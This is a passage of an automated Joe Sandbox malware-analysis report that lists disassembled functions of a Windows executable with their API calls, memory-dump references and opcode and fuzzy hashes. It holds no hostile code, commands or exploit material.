                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: bc947e64b7ff7861dab40ebc73a0b1643733832cee6e190708a637422537bdde
                • Instruction ID: fa2d6cafae1d12b1d62fa9465497aa122a0f21c143c6f4aa12343045df0caba3
                • Opcode Fuzzy Hash: bc947e64b7ff7861dab40ebc73a0b1643733832cee6e190708a637422537bdde
                • Instruction Fuzzy Hash: 8DB012DE3580057D310D61002F42C3A82CCC0E4B1933042EBF145C6140B4411C0D5033
                Function 00BDD1F9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD20B
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: 4442f5e5b8e5d789888c10320488988e70b29ab661a31c2c338e7d0a44d269e2
                • Instruction ID: 12cb4792a3e1fed6faa1169b84c6a81b7f1248be7ed85ab006b29b7f43e24e5d
                • Opcode Fuzzy Hash: 4442f5e5b8e5d789888c10320488988e70b29ab661a31c2c338e7d0a44d269e2
                • Instruction Fuzzy Hash: 8EB092962692096D21082604AD06C364188C180B163204AEBB181C2180A4404E480032
                Function 00BDD293 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD26C
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: 62899f73cbb87356427b999129e0799edb7a69e8baaebc874361adb6bc9e4c3f
                • Instruction ID: 21990e4b2574977e1ccd755e92b8b87262763c0fb6993a69f31dab72d02629ed
                • Opcode Fuzzy Hash: 62899f73cbb87356427b999129e0799edb7a69e8baaebc874361adb6bc9e4c3f
                • Instruction Fuzzy Hash: BEB012C635C2056D310C51046D02F3642CDD0C4B1933052DBF1C5C3240F4404C0D2033
                Function 00BDD289 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD26C
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: ffe33b8ab98b7713d2797d6fa29245f0dd0d22e5cd236065afea2f9981695cf6
                • Instruction ID: ea6be6d48149216a8daa5a3463c9d6c3aa2e5c5ab9d9ceb3bfb592e370522e0c
                • Opcode Fuzzy Hash: ffe33b8ab98b7713d2797d6fa29245f0dd0d22e5cd236065afea2f9981695cf6
                • Instruction Fuzzy Hash: 9FB012C635C2056D310C51047D42E3A42CDC0C4B1933092DBF5C5C3240F4404C0D1033
                Function 00BDD232 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD20B
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: 715b75c22a25a15e91d752743a77037d1ced6418faa4d182ad0d127cb4dcb6b3
                • Instruction ID: 3d41322fd8d78792a38e04e464a6d890387c0f1b1f72542a4567e563f344b402
                • Opcode Fuzzy Hash: 715b75c22a25a15e91d752743a77037d1ced6418faa4d182ad0d127cb4dcb6b3
                • Instruction Fuzzy Hash: F8B012D635D1096D310C65086E06D3641CCC0C4B1633049EBF185C3240F4404D0D0033
                Function 00BDD21E Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD20B
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: ad4572ecb37fb9ae176b58543ecc42f6f7eb0c518400dc1c63beaf16935e19e9
                • Instruction ID: aefbccf10de593b427b493d4c7f4f4eaadc1a92008715f74c423bb129caa9786
                • Opcode Fuzzy Hash: ad4572ecb37fb9ae176b58543ecc42f6f7eb0c518400dc1c63beaf16935e19e9
                • Instruction Fuzzy Hash: 4BB012D635D1096D310C65086D06D3A42DCC4C4B1633089EBF585C3240F4404D0C0033
                Function 00BDD214 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD20B
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: 69ee4ce4d8da60f115c027b3aeca6338abaf89b378667d8cd3851958e4155118
                • Instruction ID: 09dfa1b4569ad985e9ccc8558c924abb3d56b20054c2a2ba23a0074643138b97
                • Opcode Fuzzy Hash: 69ee4ce4d8da60f115c027b3aeca6338abaf89b378667d8cd3851958e4155118
                • Instruction Fuzzy Hash: 6FB012D635D1096D311C65046D02D3641CCC0C4B1633049EBF185C3284F4404D0C1033
                Function 00BDD25A Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD26C
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: a128e67fffc9b57c9e6216218bd2ddc8764ecf9c44e2ae39ed0dd58202e82b94
                • Instruction ID: aa10867e1e6cfcf3607386a01acfbe3b78c2926c21cb25d0405b08e2ef5ff4c7
                • Opcode Fuzzy Hash: a128e67fffc9b57c9e6216218bd2ddc8764ecf9c44e2ae39ed0dd58202e82b94
                • Instruction Fuzzy Hash: BFB012C636C3057D310C12006D02D3642CDC1C0B1D33053DBF1C1C3180B4404C4D2033
                Function 00BDD284 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD26C
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: 9140c2c1c311b326053f2896450232332f609bb3cf61e277c1dfcfd259ff6e35
                • Instruction ID: 8a68bd57030befb2101e06e377fa4c055aa666cf36ed43d435bdbf8353bc2f76
                • Opcode Fuzzy Hash: 9140c2c1c311b326053f2896450232332f609bb3cf61e277c1dfcfd259ff6e35
                • Instruction Fuzzy Hash: ACA002D525D2067D350C51516D46D76419DC4D4B55330559BF5C58615174445D4D1032
                Function 00BDD22D Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD20B
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: 9c2928bb2dbe3e3bed61c9e6edf036fd6b34ab46f415591680d511d6be758c3f
                • Instruction ID: 9bbf5903212f8539ba24e82fe04c52182b367d25787cefac10bff09ef8b3f4b8
                • Opcode Fuzzy Hash: 9c2928bb2dbe3e3bed61c9e6edf036fd6b34ab46f415591680d511d6be758c3f
                • Instruction Fuzzy Hash: 46A012D525D1067C300C25006D02C36418CC0C4B1633049DBF081C1140B4400D080032
                Function 00BDD27A Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD26C
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: cbbfa82dcdc407d8996ad77b3cc5c9aee20e4ccb2c09009531a3592f9d071dcb
                • Instruction ID: 8a68bd57030befb2101e06e377fa4c055aa666cf36ed43d435bdbf8353bc2f76
                • Opcode Fuzzy Hash: cbbfa82dcdc407d8996ad77b3cc5c9aee20e4ccb2c09009531a3592f9d071dcb
                • Instruction Fuzzy Hash: ACA002D525D2067D350C51516D46D76419DC4D4B55330559BF5C58615174445D4D1032
                Function 00BDD255 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD20B
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: 741b4639c956f3d0205fd70ed86d1f4b5b6d4dbfd741e9bf452b86f7b1e5cd44
                • Instruction ID: 9bbf5903212f8539ba24e82fe04c52182b367d25787cefac10bff09ef8b3f4b8
                • Opcode Fuzzy Hash: 741b4639c956f3d0205fd70ed86d1f4b5b6d4dbfd741e9bf452b86f7b1e5cd44
                • Instruction Fuzzy Hash: 46A012D525D1067C300C25006D02C36418CC0C4B1633049DBF081C1140B4400D080032
                Function 00BDD24B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD20B
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: ea7c2d68d455b8bba16b2032bdc0ef33ac55c93868e27bae517c162f6c2e57e8
                • Instruction ID: 9bbf5903212f8539ba24e82fe04c52182b367d25787cefac10bff09ef8b3f4b8
                • Opcode Fuzzy Hash: ea7c2d68d455b8bba16b2032bdc0ef33ac55c93868e27bae517c162f6c2e57e8
                • Instruction Fuzzy Hash: 46A012D525D1067C300C25006D02C36418CC0C4B1633049DBF081C1140B4400D080032
                Function 00BDD241 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                Download Yara Rule
                APIs
                • ___delayLoadHelper2@8.DELAYIMP ref: 00BDD20B
                  • Part of subcall function 00BDD58F: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BDD60C
                  • Part of subcall function 00BDD58F: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BDD61D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                • String ID:
                • API String ID: 1269201914-0
                • Opcode ID: 8301df51a1e8f210b282f0071c765b5ce6a764c1caf73e8816893151ffb8c825
                • Instruction ID: 9bbf5903212f8539ba24e82fe04c52182b367d25787cefac10bff09ef8b3f4b8
                • Opcode Fuzzy Hash: 8301df51a1e8f210b282f0071c765b5ce6a764c1caf73e8816893151ffb8c825
                • Instruction Fuzzy Hash: 46A012D525D1067C300C25006D02C36418CC0C4B1633049DBF081C1140B4400D080032
                Function 00BD9B00 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                Download Yara Rule
                APIs
                • SetCurrentDirectoryW.KERNELBASE(?,00BD9D57,C:\Users\user\Desktop,00000000,00C085FA,00000006), ref: 00BD9B04
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: CurrentDirectory
                • String ID:
                • API String ID: 1611563598-0
                • Opcode ID: f6a9b8442a01436f2cfee76da2f3f9425aacb5705cee358d6f6c8a0e902586c7
                • Instruction ID: a368eac3e625079c972de6e4b31a40b53654d3c9f83538a61a09100668b09736
                • Opcode Fuzzy Hash: f6a9b8442a01436f2cfee76da2f3f9425aacb5705cee358d6f6c8a0e902586c7
                • Instruction Fuzzy Hash: 10A01230194006468A000B30CC09C2576515760702F0086207102C20A0CF318C20E504
                Function 00BC9572 Relevance: 1.3, APIs: 1, Instructions: 30COMMON
                Download Yara Rule
                APIs
                • CloseHandle.KERNELBASE(000000FF,?,?,00BC9542), ref: 00BC958D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: CloseHandle
                • String ID:
                • API String ID: 2962429428-0
                • Opcode ID: a09bc884d7e922cbdfb47ea9025b006b6cce9eb379734fba283fbf7c6b116df7
                • Instruction ID: b8b570f922e3a472d07e8801343cc10efb8f705043e246b1b004dddb0fc7cfd7
                • Opcode Fuzzy Hash: a09bc884d7e922cbdfb47ea9025b006b6cce9eb379734fba283fbf7c6b116df7
                • Instruction Fuzzy Hash: 7AF05EB0552B048EFB318B24C54DF92B7E49B26725F048B9ED0FA435D0D761684DCB50

                Non-executed Functions

                Function 00BDB014 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 289timewindowfileCOMMON
                Download Yara Rule
                APIs
                  • Part of subcall function 00BC12D7: GetDlgItem.USER32(00000000,00003021), ref: 00BC131B
                  • Part of subcall function 00BC12D7: SetWindowTextW.USER32(00000000,00BF22E4), ref: 00BC1331
                • SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00BDB0A5
                • EndDialog.USER32(?,00000006), ref: 00BDB0B8
                • GetDlgItem.USER32(?,0000006C), ref: 00BDB0D4
                • SetFocus.USER32(00000000), ref: 00BDB0DB
                • SetDlgItemTextW.USER32(?,00000065,?), ref: 00BDB11B
                • SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00BDB14E
                • FindFirstFileW.KERNEL32(?,?), ref: 00BDB164
                • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00BDB182
                • FileTimeToSystemTime.KERNEL32(?,?), ref: 00BDB192
